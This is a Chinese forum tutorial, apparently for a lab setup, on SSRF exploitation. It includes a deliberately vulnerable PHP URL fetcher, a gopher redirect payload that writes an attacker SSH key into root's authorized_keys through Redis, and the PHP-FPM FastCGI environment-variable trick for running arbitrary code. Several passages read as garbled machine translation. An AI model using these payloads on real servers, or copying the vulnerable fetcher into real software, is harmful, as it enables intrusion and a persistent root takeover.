SSRF实现.SSH未创建写shell和SSRF漏洞之FastCGI利用

滴水恩情  论坛元老 | 2024-8-25 17:01:28 | 来自手机 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 1020|帖子 1020|积分 3060

目录
一、SSRF (Server-side Request Forge, 服务端哀求伪造)
1、概念:
2、ssrf示意图
3、Ssrf类型:
4、SSH未创建写shell的SSRF实现
二、漏洞复现
1、代码
2、存在 .ssh 文件:
3、Redis无密码,以root身份运行:
4、攻击步骤:
5、伪造Redis数据向 .ssh写入SSH公钥
6、id_rsa.pub文件里的数据为SSH公钥 
7、在自己的服务器上写302 跳转 
 8、kali 在 、/root/.ssh/ 小输入 ssh -i id_rsa root@漏洞机公网ip。 
三、PHP-FPM FastCGI 未授权利用
四、CGI、PHP-FPM、FastCGI
1、CGI原理
2、PHP-FPM通讯方式
3、PHP-FPM漏洞原理
4、FastCGI攻击原理
五、SSRF攻击本地的PHP-FPM


一、SSRF (Server-side Request Forge, 服务端哀求伪造)

1、概念:

它是一种由攻击者构造形成由服务端发起哀求的一个安全漏洞。一样平常环境下,SSRF攻击的目标是从外网无法访问的内部体系。正是因为它是由服务端发起的,所以它可以或许哀求到与它相连而与外网隔离的内部体系。漏洞产生由于服务端提供了从其他服务器应用获取数据的功能且没有对地点和协议等做过滤和限制。比如从指定URL地点获取网页文本内容,加载指定地点的图片,下载等等。
2、ssrf示意图

1.攻击者向服务器A发送一个让服务器A访问别的一个服务器B的哀求
2.服务器A向服务器B发送一个哀求
3.服务器B向服务器A发送相应
4.服务器A向黑客发送服务器B的相应
3、Ssrf类型:

Basic ssrf:返回结果到客户端,如果相应是一个网站,就会表现相应的界面或对应的html代码
Bind ssrf: 不会返回相应给客户端。
4、SSH未创建写shell的SSRF实现

要实现通过SSRF攻击未创建写shell的SSH,攻击者需要利用存在SSRF漏洞的服务器来伪造哀求,这些哀求可以用来与目标体系的SSH服务通讯。通常,这涉及到以下步骤:                           1.发现SSRF漏洞:攻击者首先需要找到一个可以通过用户可控制的输入来发起外部哀求的服务器。
2.利用SSRF漏洞:攻击者构造一个特殊的URL,使服务器向目标体系的SSH端口发送哀求。
3.绕过身份验证:如果目标体系的SSH服务没有精确配置,攻击者大概会实验利用已知的漏洞或默认凭证来绕过身份验证。
4.执行下令:一旦建立了SSH毗连,攻击者可以实验在目标体系上执行下令,以获取shell访问权限。
5.长期化访问:为了保持对目标体系的控制,攻击者大概会实验写入SSH的authorized_keys文件,添加自己的公钥,从而实现无密码登录。
二、漏洞复现

1、代码

  1. <!--index.html代码-->
  2. <!DOCTYPE html>
  3. <head>
  4.         <meta charset="utf-8">
  5. </head>
  6. <form action='index.php' method='get'>
  7.         input url: <input type="text" name="url"><br>
  8.         <input type="submit" value="提交">
  9. </form>
复制代码
  1. # indexp.php 代码
  2. <?php
  3.         function check_ip($url)         #对ip进行限制,现在内网ip
  4.         {
  5.                 $match_res=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
  6.                 if(!$match_res)
  7.                 {
  8.                         echo 'url fomat erro';
  9.                         exit();
  10.                 }
  11.                 try
  12.                 {
  13.                         $url_parse=parse_url($url);
  14.                 }
  15.                 catch(Exception $e)
  16.                 {
  17.                         echo 'url fomat error';
  18.                         exit();
  19.                 }
  20.                 $ip=gethostbyname($url_parse['host']);
  21.                 echo $ip;
  22.                 $ini_ip=ip2long($ip);
  23.                 if ($ini_ip>>24==ip2long('127.0.0.0')>>24||$ini_ip==ip2long('服务机公网ip'))
  24.                 {
  25.                         echo "ip can not inner ip";
  26.                         exit();
  27.                 }
  28.         }
  29.         $ch=curl_init();
  30.         $url=$_GET['url'];
  31.         check_ip($url);
  32.         curl_setopt($ch,CURLOPT_URL,$url);
  33.         curl_setopt($ch,CURLOPT_HEADER,0);
  34.         curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  35.         curl_setopt($ch,CURLOPT_REDIR_PROTOCOLS,CURLPROTO_GOPHER);  #302调转支持gopher协议
  36.         curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);                  #跟随跳转
  37.         $res=curl_exec($ch);
  38.         curl_close($ch);
  39.         echo $res;
  40. ?>
复制代码
2、存在 .ssh 文件:


3、Redis无密码,以root身份运行:


4、攻击步骤:

        1、访问 http://漏洞机公网ip/index.html

5、伪造Redis数据向 .ssh写入SSH公钥

        在kali 的 /root/.ssh/ 下执行 ssh-keygen -t rsa 天生攻击机的SSH公钥数据:

6、id_rsa.pub文件里的数据为SSH公钥 


用SSH公钥数据伪造Redis数据:
操作和上面的一样只是把上面的php代码换成 这个SSH公钥即可。得到的数据删除 “<”,“>”,“+OK” 后如下:
  1. *1\r
  2. $8\r
  3. flushall\r
  4. *3\r
  5. $3\r
  6. set\r
  7. $1\r
  8. 1\r
  9. $567\r
  10. ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCw4Mu9RfSGYhyF8a7yS87Sna0zGZePbVjr89h8TFOuNUTj2sDkSNgWaPFbDcLdGIuXcAynlDmzwJSCDCDi7ZEPZjUWkC09tFZm+c/lsdX4nHncF+WpnDmkt5WWu+VziuCDrgtVgmDIs4dVILQckDF9qLRWygSjGiAfd0NFIa2Di1BhDtNkgF599fZATuujOISw0muP4tm6dUhE4lKzMpaIZmnLmzQBT4+BIv38ZkObtGnn1diXj+879y5cM2ifT+dRdbTmFJ8bApzABS93sWvtHfM+4vctZm0bL+2KtTOKzqQM5Yuc/5XvsjsI4zPha79/8cOg6t/oGu8b4BXcLMatMBALnyOUitlfZbI1b101htkn5hHbe1sebxVDFgL7wF4yL4l//OBvqhUzg7ZxJ7E1UkkzwsKTn4QlYp3YGXeQUW5HclcHn/+Vw7xLzXD2NjhxKXDfo2MO/d+mx5IGQrdFOaBlE53ZNgcV0UH0MYhOc8Axz3sv3SZstmEASlIL/BE= root@kali
  11. \r
  12. *4\r
  13. $6\r
  14. config\r
  15. $3\r
  16. set\r
  17. $3\r
  18. dir\r
  19. $11\r
  20. /root/.ssh/\r
  21. *4\r
  22. $6\r
  23. config\r
  24. $3\r
  25. set\r
  26. $10\r
  27. dbfilename\r
  28. $15\r
  29. authorized_keys\r
  30. *1\r
  31. $4\r
  32. save\r
复制代码
将“\r”转换为 “%0d”,“\n”转换为“%0a”,“$”转换为“%24” ,将SSH公钥部分用URL编码后如下:
  1. *1%0d%0A%248%0d%0Aflushall%0d%0A*3%0d%0A%243%0d%0Aset%0d%0A%241%0d%0A1%0d%0A%24567%0d%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQCw4Mu9RfSGYhyF8a7yS87Sna0zGZePbVjr89h8TFOuNUTj2sDkSNgWaPFbDcLdGIuXcAynlDmzwJSCDCDi7ZEPZjUWkC09tFZm+c/lsdX4nHncF+WpnDmkt5WWu+VziuCDrgtVgmDIs4dVILQckDF9qLRWygSjGiAfd0NFIa2Di1BhDtNkgF599fZATuujOISw0muP4tm6dUhE4lKzMpaIZmnLmzQBT4+BIv38ZkObtGnn1diXj+879y5cM2ifT+dRdbTmFJ8bApzABS93sWvtHfM+4vctZm0bL+2KtTOKzqQM5Yuc/5XvsjsI4zPha79/8cOg6t/oGu8b4BXcLMatMBALnyOUitlfZbI1b101htkn5hHbe1sebxVDFgL7wF4yL4l//OBvqhUzg7ZxJ7E1UkkzwsKTn4QlYp3YGXeQUW5HclcHn/+Vw7xLzXD2NjhxKXDfo2MO/d+mx5IGQrdFOaBlE53ZNgcV0UH0MYhOc8Axz3sv3SZstmEASlIL/BE=%20root@kali%0A%0A%0A%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%243%0d%0Adir%0d%0A%2411%0d%0A/root/.ssh/%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%2410%0d%0Adbfilename%0d%0A%2415%0d%0Aauthorized_keys%0d%0A*1%0d%0A%244%0d%0Asave%0d%0A
复制代码
7、在自己的服务器上写302 跳转 

  1. # 在另一台自己的服务器上写一个302 重定向的代码
  2. # index.php 代码
  3. <?php
  4. header("Location: gopher://127.0.0.1:6379/_*1%0d%0A%248%0d%0Aflushall%0d%0A*3%0d%0A%243%0d%0Aset%0d%0A%241%0d%0A1%0d%0A%24567%0d%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQCw4Mu9RfSGYhyF8a7yS87Sna0zGZePbVjr89h8TFOuNUTj2sDkSNgWaPFbDcLdGIuXcAynlDmzwJSCDCDi7ZEPZjUWkC09tFZm+c/lsdX4nHncF+WpnDmkt5WWu+VziuCDrgtVgmDIs4dVILQckDF9qLRWygSjGiAfd0NFIa2Di1BhDtNkgF599fZATuujOISw0muP4tm6dUhE4lKzMpaIZmnLmzQBT4+BIv38ZkObtGnn1diXj+879y5cM2ifT+dRdbTmFJ8bApzABS93sWvtHfM+4vctZm0bL+2KtTOKzqQM5Yuc/5XvsjsI4zPha79/8cOg6t/oGu8b4BXcLMatMBALnyOUitlfZbI1b101htkn5hHbe1sebxVDFgL7wF4yL4l//OBvqhUzg7ZxJ7E1UkkzwsKTn4QlYp3YGXeQUW5HclcHn/+Vw7xLzXD2NjhxKXDfo2MO/d+mx5IGQrdFOaBlE53ZNgcV0UH0MYhOc8Axz3sv3SZstmEASlIL/BE=%20root@kali%0A%0A%0A%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%243%0d%0Adir%0d%0A%2411%0d%0A/root/.ssh/%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%2410%0d%0Adbfilename%0d%0A%2415%0d%0Aauthorized_keys%0d%0A*1%0d%0A%244%0d%0Asave%0d%0A");
  5. ?>
复制代码
 8、kali 在 、/root/.ssh/ 小输入 ssh -i id_rsa root@漏洞机公网ip。 

乐成无密登录服务机。

三、PHP-FPM FastCGI 未授权利用

首先我们使用Vulhub漏洞靶场快速搭建漏洞环境举行复现,感受一波漏洞的危害
  1. # 保证实验vps具有git、docker、pip、docker-compose、python基础环境
  2. ## 下载vulhub靶场资源
  3. git clone https://github.com/vulhub/vulhub.git
  4. ## 找到fpm Fastcgi目录,一键搭建漏洞环境
  5. docker-compose up -d
复制代码

环境搭建完成,如下图可以看到,FPM Fastcgi未授权漏洞 docker镜像正在运行,且监听在本地9000端口

乐成执行构造的任意PHP代码,拿到vps运行FPM的Web权限
四、CGI、PHP-FPM、FastCGI

1、CGI原理

我们知道,在网站架构中,Web Server(如Nginx)只是内容的分发者
当客户端哀求的是index.php,根据配置文件Web Server辨别不是静态文件,此时就需要去找 PHP解析器来处置惩罚

当Web Server收到 index.php 这个哀求后,会启动对应的CGI 程序,也就是PHP解析器
接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处置惩罚哀求,再以CGI规范的格式返回处置惩罚后的结果,退出历程,Web server再把结果返回给欣赏器。这就是一个完整的动态PHP Web访问流程 这其中,引出如下概念:
  1. **FastCGI:**同 CGI,是一种通信协议,对比 CGI 提升了5倍以上性能
  2. **PHP-FPM:**是 PHP(Web Application)对 Web Server 提供的 FastCGI 协议的接口程序,额外还提供了相对智能的任务管理功能
复制代码
PHP默认提供了很多种SAPI(服务器端应用编程端口),常见的提供给apache和nginx的php5_module、CGI、FastCGI,给IIS的ISAPI,以及Shell的CLI
经过不断的技能升级,目前搭建高性能的PHP Web服务器,最佳的方式是Apache/Nginx + FastCGI + PHP-FPM(PHP-CGI)方式FastCGI工作原理

  1. Web 服务器启动时载入FastCGI进程管理器(PHP-CGI或者PHP-FPM)
  2. FastCGI 进程管理器自身初始化,启动多个 CGI 解释器进程,并等待来自 Web Server 的连接
  3. Web 服务器与 FastCGI 进程管理器进行 Socket 通信,选择一个CGI 解释器进程,通过 FastCGI 协议发送 CGI 环境变量和标准输入数据给 这个CGI 解释器进程
  4. CGI 解释器进程完成处理后将标准输出和错误信息从同一连接返回 Web 服务器
  5. CGI 解释器进程接着等待并处理来自 Web 服务器的下一个连接
复制代码
由此,PHP-FPM 就是一个FastCGI历程管理器,是对于 FastCGI 协议的具体实现,它负责管理一个历程池,来处置惩罚来自Web服务器的哀求。
2、PHP-FPM通讯方式

在PHP使用FastCGI毗连模式的环境下,Web服务器中心件如Nginx和PHP-FPM之间的通讯方式又分为两种,TCP模式和套接字(unix socket)模式
  1. TCP模式即是PHP-FPM进程会监听本机上的一个端口(默认为9000),然后Nginx会把客户端请求数据通过FastCGI协议传给9000端口,PHP-FPM拿到数据后会调用CGI进程解析
  2. Unix套接字模式是Unix系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为socket的唯一标识(描述符),需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。上述原理图中提到的Socket 通信即为此模式
复制代码
共同文章开头的漏洞演示来看,我们利用SSRF漏洞攻击FastCGI是在TCP模式下举行
3、PHP-FPM漏洞原理

到这里,PHP-FPM FastCGI未授权访问漏洞也就呼之欲出了。PHP-FPM默认监听9000端口,如果这个端口袒露在公网,则我们可以自己构造FastCGI协议,和FPM举行通讯
此时,我们自行构造SCRIPT_FILENAME的值,就可以控制PHP-FPM执行任意后缀文件,如/etc/passwd
但是,在PHP5.3.9之后,FPM默认配置中增长了security.limit_extensions选项

  1. ; Limits the extensions of the main script FPM will allow to parse. This can
  2. ; prevent configuration mistakes on the web server side. You should only limit
  3. ; FPM to .php extensions to prevent malicious users to use other extensions to
  4. ; exectute php code.
  5. ; Note: set an empty value to allow all extensions.
  6. ; Default Value: .php
  7. ;security.limit_extensions = .php .php3 .php4 .php5 .php7
复制代码
其限定了只有某些后缀的文件允许被FPM执行,默认是.php。
因此,想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。已存在的PHP文件名获得有两种方法:


  • 通过体系的信息收集、爆破、报错获得某个PHP文件名及其路径
  • 找安装PHP后默认存在的PHP文件,如/usr/local/lib/php/PEAR.php
现在,拿到了文件名,我们能控制SCRIPT_FILENAME,却只能执行目标服务器上的文件,并不能执行我们想要执行的任意代码,但我们可以通过构造type值为4的record,也就是设置向PHP-FPM通报的环境变量来达到任意代码执行的目的
PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file
  1. auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件
  2. auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件
复制代码
若我们设置auto_prepend_file为php://input(allow_url_include=on),那么就即是在执行任何PHP文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在FastCGI协议 Body中,它们就能被执行了
那么我们如何设置PHP.INI中auto_prepend_file的值呢?
我们可以通过PHP-FPM的两个环境变量,PHP_VALUE PHP_ADMIN_VALUE来设置PHP.INI

最终,我们设置向PHP-FPM通报的环境变量:
  1. {
  2.     'GATEWAY_INTERFACE': 'FastCGI/1.0',
  3.     'REQUEST_METHOD': 'GET',
  4.     'SCRIPT_FILENAME': '/var/www/html/index.php',
  5.     'SCRIPT_NAME': '/index.php',
  6.     'QUERY_STRING': '?a=1&b=2',
  7.     'REQUEST_URI': '/index.php?a=1&b=2',
  8.     'DOCUMENT_ROOT': '/var/www/html',
  9.     'SERVER_SOFTWARE': 'php/fcgiclient',
  10.     'REMOTE_ADDR': '127.0.0.1',
  11.     'REMOTE_PORT': '12345',
  12.     'SERVER_ADDR': '127.0.0.1',
  13.     'SERVER_PORT': '80',
  14.     'SERVER_NAME': "localhost",
  15.     'SERVER_PROTOCOL': 'HTTP/1.1'
  16.     'PHP_VALUE': 'auto_prepend_file = php://input',
  17.     'PHP_ADMIN_VALUE': 'allow_url_include = On'
  18. }
复制代码
最后两行设置auto_prepend_file = php://input且allow_url_include = On,然后将我们需要执行的代码放在Body中,即可执行任意代码
4、FastCGI攻击原理

HTTP协议是欣赏器和服务器中心件举行数据交换的协议,类比HTTP协议来说,fastcgi协议则是服务器中心件和某个语言后端(如PHP-FPM)举行数据交换的协议
Fastcgi协议由多个record组成,record也有header和body一说,服务器中心件将这二者按照fastcgi的规则封装好发送给语言后端(PHP-FPM),语言后端(PHP-FPM)解码以后拿到具体数据,举行指定操作,并将结果再按照该协议封装好后返回给服务器中心件
record的头固定8个字节,body是由头中的contentLength指定,其结构如下:
  1. typedef struct {
  2.   /* Header */
  3.   unsigned char version; // 版本
  4.   unsigned char type; // 本次record的类型
  5.   unsigned char requestIdB1; // 本次record对应的请求id
  6.   unsigned char requestIdB0;
  7.   unsigned char contentLengthB1; // body体的大小
  8.   unsigned char contentLengthB0;
  9.   unsigned char paddingLength; // 额外块大小
  10.   unsigned char reserved;
  11.   /* Body */
  12.   unsigned char contentData[contentLength];
  13.   unsigned char paddingData[paddingLength];
  14. } FCGI_Record;
复制代码
语言端(PHP-FPM)解析了FastCGI头以后,拿到contentLength,然后再在TCP流里读取大小即是contentLength的数据,这就是body体
Body背面另有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保存作用不需要该Padding的时间,将其长度设置为0即可
可见,一个FastCGI record结构最大支持的body大小是2^16,也就是65536字节
其中,header中的type代表本次record的类型,所有值及具体含义如下

服务器中心件和后端语言(PHP-FPM)通讯,第一个数据包就是type为1的record,后续互相交流,发送type为4、5、6、7的record,结束时发送type为2、3的record
举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么服务器中心件(Nginx)会将这个哀求变成如下key-value对:
  1. {
  2.     'GATEWAY_INTERFACE': 'FastCGI/1.0',
  3.     'REQUEST_METHOD': 'GET',
  4.     'SCRIPT_FILENAME': '/var/www/html/index.php',
  5.     'SCRIPT_NAME': '/index.php',
  6.     'QUERY_STRING': '?a=1&b=2',
  7.     'REQUEST_URI': '/index.php?a=1&b=2',
  8.     'DOCUMENT_ROOT': '/var/www/html',
  9.     'SERVER_SOFTWARE': 'php/fcgiclient',
  10.     'REMOTE_ADDR': '127.0.0.1',
  11.     'REMOTE_PORT': '12345',
  12.     'SERVER_ADDR': '127.0.0.1',
  13.     'SERVER_PORT': '80',
  14.     'SERVER_NAME': "localhost",
  15.     'SERVER_PROTOCOL': 'HTTP/1.1'
  16. }
复制代码
这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是添补$_SERVER数组,也是告诉FPM:“我要执行哪个PHP文件”
当后端语言(PHP-FPM)拿到由Nginx发过来的FastCGI数据包后,举行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php
五、SSRF攻击本地的PHP-FPM

生产环境中,除非测试或者图方便之外,PHP-FPM是少少开放在公网的,绝大部分都是启动在本地即监听127.0.0.1:9000地点,这种环境下,如果服务器端存在SSRF漏洞,那么我们就可以借助SSRF来攻击本地PHP-FPM服务,达到任意代码执行的结果

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

滴水恩情

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表